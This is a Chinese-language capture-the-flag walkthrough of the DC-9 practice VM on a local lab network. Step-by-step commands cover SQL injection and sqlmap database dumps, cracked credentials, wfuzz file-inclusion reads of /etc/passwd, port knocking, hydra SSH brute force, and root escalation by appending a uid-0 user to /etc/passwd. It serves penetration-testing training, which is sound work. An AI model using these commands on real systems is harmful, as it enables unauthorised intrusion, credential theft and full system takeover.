dc-9靶机下载
将靶机设置为NAT模式,本次实验使用的内网网段为192.168.198.0/24,kali的ip为192.168.198.172
信息搜集
ip主机扫描:
nmap -sP 192.168.198.0/24
确定靶机ip为192.168.198.171
主机端口扫描:
nmap -T4 -A -v 192.168.198.171
开放了 http 服务和 ssh 服务,从网站入手。
sql注入
在网页Search选项中尝试手动sql注入:
' or 1=1 --+
返回了所有结果,说明存在注入点。
开发者模式打开网络确定访问文件为results.php,使用POST请求,字段为search: "value"
使用sqlmap查找数据库:
sqlmap -u "http://192.168.198.171/results.php" --data "search=a" --dbs
下面分别提取 Staff 和 users 数据库数据。
Staff 数据库
查看表单:
sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff --tables
获取StaffDetails 数据:
sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff -T StaffDetails --dump
发现该表信息为网站record信息,用处不大。
获取Users 数据:
sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff -T Users --dump
在sqlmap提示中发现hash加密,选择使用hash爆破,如果sqlmap爆破不出来就使用开源的md5解密。
得到一个用户密码:admin:transorbital1
users 数据库
提取表单:
sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D users --tables
找到一个表单,继续获取全部数据:
sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D users -T UserDetails --dump
得到一些用户和密码,这里先将用户信息和密码信息整理成users字典和passwd字典,后续ssh登录会用到,sqlmap会把信息保存到.csv文件中,根据提示进入保存的日志目录,写一个脚本提取列username和password,分别存在users和passwd中:
import csv
pth = 'UserDetails.csv'
with open(pth, mode='r') as f:
a = csv.DictReader(f)
with open('users', mode='w') as users_file, open('passwd', mode='w') as passwords_file:
for row in a:
users_file.write(row['username'] + '\n')
passwords_file.write(row['password'] + '\n')
文件包含
下面尝试在网站Manage入口登录,利用Staff数据库中Users得到的账号密码登录,可以成功进入管理界面。
显示有 File does not exist 说明可能和文件包含有关,尝试用wfuzz测试文件参数,直接访问/etc/passwd,因为是登录状态,需要填上请求cookie
查看cookie
wfuzz -b 'PHPSESSID=kvj3gqn4qi7o9liajb68cktu6u' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.198.171/manage.php?FUZZ=../../../../../../../etc/passwd
根据结果再用 --hl 50 过滤:
找到请求参数是file,直接访问:
成功显示出来了操作系统/etc/passwd信息,发现和数据库users中一致,说明数据库中的信息可以用来登录操作系统。
ssh 登录
利用 users 数据库得到的两个字典目录,直接尝试ssh连接会报拒绝连接:
猜测可能使用了port knocking,在网页中尝试访问 knockd.conf 端口配置文件:
根据配置结果,按照7469,8475,9842顺序敲击端口:
for x in 7469 8475 9842 22 ;do nmap -p $x 192.168.198.171 ; done
再次使用ssh连接:
hydra -L users -P passwd 192.168.198.171 ssh
找到了三个用户和密码。
对于三个用户,分别用ssh登录
ssh chandlerb@192.168.198.171
ssh joeyt@192.168.198.171
ssh janitor@192.168.198.171
分别用 ls -a 查看文件,发现janitor用户下有.secrets-for-putin文件,进入后拿到新密码:
把新的密码copy到一个新的字典passwd2中,用户名不变,用hydra再次爆破:
找到一个新用户:fredf
对每一个用户登录后,再使用 sudo -l 查看是否有高权限可执行程序,发现 fredf 用户有一个root权限执行程序。
执行文件:
根据提示可以判断出是读取和追加功能的python文件。
提权
提权思路:利用test创建一个root用户,追加到/etc/passwd中,再利用创建的用户登录实现提权。
分析/etc/passwd 的格式:
用户名:密码:uid:gid:用户描述:home路径:命令解释程序
生成用户名密码:
openssl passwd -1 -salt admin 123456
生成结果:
$1$admin$LClYcRe.ee8dQwgrFc5nz.
写入的格式:
admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash
把内容先写入tmp目录中,因为tmp目录不受用户权限限制,再利用test脚本写入/etc/passwd
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/new
sudo ./test /tmp/new /etc/passwd
成功写入后切换到admin用户
在root下找到flag